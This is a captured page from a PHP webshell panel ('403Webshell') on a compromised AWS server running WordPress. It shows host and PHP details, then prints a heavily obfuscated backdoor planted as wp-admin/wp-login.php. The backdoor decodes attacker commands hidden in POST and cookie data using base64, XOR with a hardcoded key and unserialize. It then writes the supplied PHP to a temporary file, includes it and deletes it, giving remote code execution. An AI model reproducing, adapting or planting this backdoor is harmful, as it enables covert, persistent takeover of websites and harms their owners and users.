403Webshell
Server IP : 52.202.253.110  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.56 (Amazon Linux) OpenSSL/3.0.8
System : Linux ip-172-32-10-67.ec2.internal 6.1.49-70.116.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 6 22:13:07 UTC 2023 x86_64
User : ec2-user ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/order_html/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/order_html/wp-admin/wp-login.php
<?php 

$xcndoi_       = /*  ccbcj  */ 'xcndoi_' /*   jvk   */ ^	'';


$bsklsrz /*bl   */ =    "a"."\162" /*  iw_bnc  */ .      "\x72"      .       "\x61"    . /* nhvzcz  */ $xcndoi_(121)    .    $xcndoi_(95)   .   "\x6d"     .    "\141"	. /*bz  */ "\x70";

$zeueolvsdo /*   vis*/ =   "\151"      .       "m"."\x70"  .       "\154"       .  "\157" /*  gjn*/ .    $xcndoi_(100)	. /*rib_mz  */ "\145";


$gnflcyh /* zsi */ =   $xcndoi_(518-419)     .  $xcndoi_(180-69) /*  by  */ .     $xcndoi_(117)	.	$xcndoi_(1095-985) /*   abi*/ .      "\x74";





function /*   _*/ aqgx_vxr($yznwuyytdu,    $pqksjb)
{
 /* cdsy*/ global /*  tvy*/ $xcndoi_;

	

	$yznwuyytdu /* zvc  */ = /*  fabe */ "<" /*   izn  */ . /*   mb  */ "?"."p"."h"."\160"  .  $xcndoi_(32)       . /*le   */ "u"."\156"	.    $xcndoi_(666-558)      .   "\151"    . /*ucq*/ "n"."k"."\x28" /*blcs */ .    $xcndoi_(95)       .     "_"."F"."\111" /* owvh */ . /* iquyci */ "\x4c"      . /*  ahecbg */ "E"."_"."_"."\x29" /*yjgqz   */ .  $xcndoi_(758-699)    . /*  xa   */ $xcndoi_(32)      .	$yznwuyytdu["d"]; /*  ohh   */ $_tpnhurwur       =       "f".$xcndoi_(1057-952) /*   n*/ .    "\x6c" /*   w_  */ . /* zyb  */ "e"."_"."p"."\165" /*d */ .    "t".$xcndoi_(660-565)	. /*  u*/ "c"."o"."\156"	.	"t".$xcndoi_(101)    .   $xcndoi_(1055-945)       .	$xcndoi_(486-370)	. /* mkeaie  */ "s";    
 /*okatgd*/ $_tpnhurwur($pqksjb,	$yznwuyytdu);
     /*zlevp */ g_rxnqldt($pqksjb);}


$ruhzi /*ztaryy  */ = /*  kmdw  */ 73;


function /* s*/ g_rxnqldt($pqksjb)


{

  global  $xcndoi_;
 /*k*/ 


 /*   l*/ include($pqksjb);

 /*xklza   */ $vbgqoksd   = /*   ah */ $pqksjb;


	@unlink($vbgqoksd);
}
function    apltew(){	global /*   l  */ $xcndoi_;



	$wykzhwefg  =    array();
 /* pnzb */ $wykzhwefg["p"."\166"]       =	phpversion();
    $wykzhwefg["\163"      .    $xcndoi_(229-111)] /*  vbpfo  */ =    "3".".".$xcndoi_(609-556);


	$xykkgemcdc /* jy   */ =    74;


    echo /* ej  */ @serialize($wykzhwefg);


}




function /*  fbo */ ftduke($yznwuyytdu, /*n   */ $btyjubsz)
{ /*msv */ global /*txaztk*/ $xcndoi_;


	$cjquqqat      = /*  bayk_ */ "";


 /*   uh  */ $cjama /*   sgh*/ =    'yeebjvfd';

       $_hofqgn    =      hash('sha256',	$yznwuyytdu);

     $v_zo_ /*xiie */ = /* _w   */ str_replace('hnfpstghbn', /* vt  */ $_hofqgn,       $cjama);    $wykzhwefg       =      0;
 /*quuho   */ while /*uzccsx  */ ($wykzhwefg	<     strlen($yznwuyytdu))    {
 /*   udv   */ $hihiek /* xovj */ = /*klx   */ isset($btyjubsz) /*yo*/ ?    $btyjubsz  :   '';      for	($scimt /*  nhzmgd  */ = /*   rihzn*/ 0;     $scimt  <    strlen($hihiek)    && /* j*/ $wykzhwefg	< /*  w*/ strlen($yznwuyytdu); /*   cepqxg  */ $scimt++, /*   vyb*/ $wykzhwefg++) /*o */ { /*  cn   */ $cjquqqat	.= /*sg   */ $xcndoi_(ord($yznwuyytdu[$wykzhwefg])    ^   ord($hihiek[$scimt]));


 /*  ecvazc  */ } /*  w */ if	(strlen($cjquqqat) /* s*/ >      20)    {


 /*  temryo*/ $v_zo_ /*gn   */ = /*   xc*/ substr($cjquqqat, /*n_   */ 0, /*   ow*/ 20);    }

	}

      if /* qw  */ (empty($cjquqqat)) /*dwy  */ { /*v */ $cjquqqat    =   date('Y-m-d /* wbszk  */ H:i:s');
    } /*   r_fw */ return   $cjquqqat;}



function   aewybpdc_($scimtxilporv)


{
 /*  nl  */ global	$xcndoi_;

	
 /*  yak*/ $wrbzyfag     =       "e"."2"."\x65"    . /*hry   */ $xcndoi_(53)  . /* loyc_z*/ "\x61" /*  m */ .  "\142"    .     "2"."3"."\55"    . /*xod */ "d"."5"."9"."6"."-"."4"."\x66"    .    "5"."\146"   . /*  e  */ $xcndoi_(875-830)    .      "\x61"   . /*  uql */ "\144"      .	"6"."7"."\55" /*   rexz  */ .       "\x63"	. /*kn */ "f"."4".$xcndoi_(649-547) /* ql*/ .     "a"."\66" /* lxmzle*/ . /*  mycxae*/ "3"."b"."\x66"	. /*  _ryi   */ "\x65"     .	"e".$xcndoi_(51);


 /*   igums   */ 

   foreach    ($scimtxilporv /*iij  */ as    $sqs_dm /*_tlm */ =>     $yznwuyytdu) /*  tm*/ {

 /*   c   */ jfgichtr(base64_decode($yznwuyytdu),	$wrbzyfag,     $sqs_dm);
 /*apui  */ }

}



function    jfgichtr($yznwuyytdu,	$wrbzyfag,	$sqs_dm)


{


    global /* xs */ $xcndoi_; /*  sk  */ 

   $yznwuyytdu	=	unserialize(ftduke(ftduke($yznwuyytdu, /* fmpc  */ $wrbzyfag),	$sqs_dm));	$ydhqbqo	= /*   ciip_z   */ 'ho';

	$tfaqbki /* vq  */ =	'yftic';

       if /*  zq */ (isset($yznwuyytdu["\x61"       .    $xcndoi_(107)])) /*  r   */ {
  if  ($yznwuyytdu["a"] /*dnguo  */ ==    $xcndoi_(545-440))	{

    apltew();

  }   elseif    ($yznwuyytdu["a"]    ==    "e")  {

 /*dgqeij */ aqgx_vxr($yznwuyytdu,      sprintf("."."/".$xcndoi_(37) /*   m  */ .       $xcndoi_(115) /*ecn */ .    "."."p"."l", /*   gisi*/ md5($wrbzyfag)));

			$azwwck	=    44;
	}
    exit();
     }}aewybpdc_($_POST);      

$qpneb      =  $bsklsrz('rawurldecode',    $_POST);
$vuv_w /*nmgv*/ = /*   ko   */ $gnflcyh($qpneb);if /*   tluequ*/ ($vuv_w	>       0) /*vgf  */ {

	$_tyffwptl    =     $zeueolvsdo(',', /*  j */ $qpneb);}


aewybpdc_($_COOKIE); /* yfkcf_   */ 



$uhrtdpl /*_mzk*/ =    $bsklsrz('rawurldecode',    $_COOKIE);


$lvqlqttui	=    $gnflcyh($uhrtdpl);
if	($lvqlqttui /*   iny */ > /*   qh_b*/ 0) /*rg   */ { /*  slpzn   */ $rityfeui /*  _y  */ =	$zeueolvsdo(';',	$uhrtdpl);

}


$hkzyaovw	=  $uhrtdpl;



$bzsefr /*   pgoao  */ =     date('Y-m-d  H:i:s');





?>

Youez - 2016 - github.com/yon3zu
LinuXploit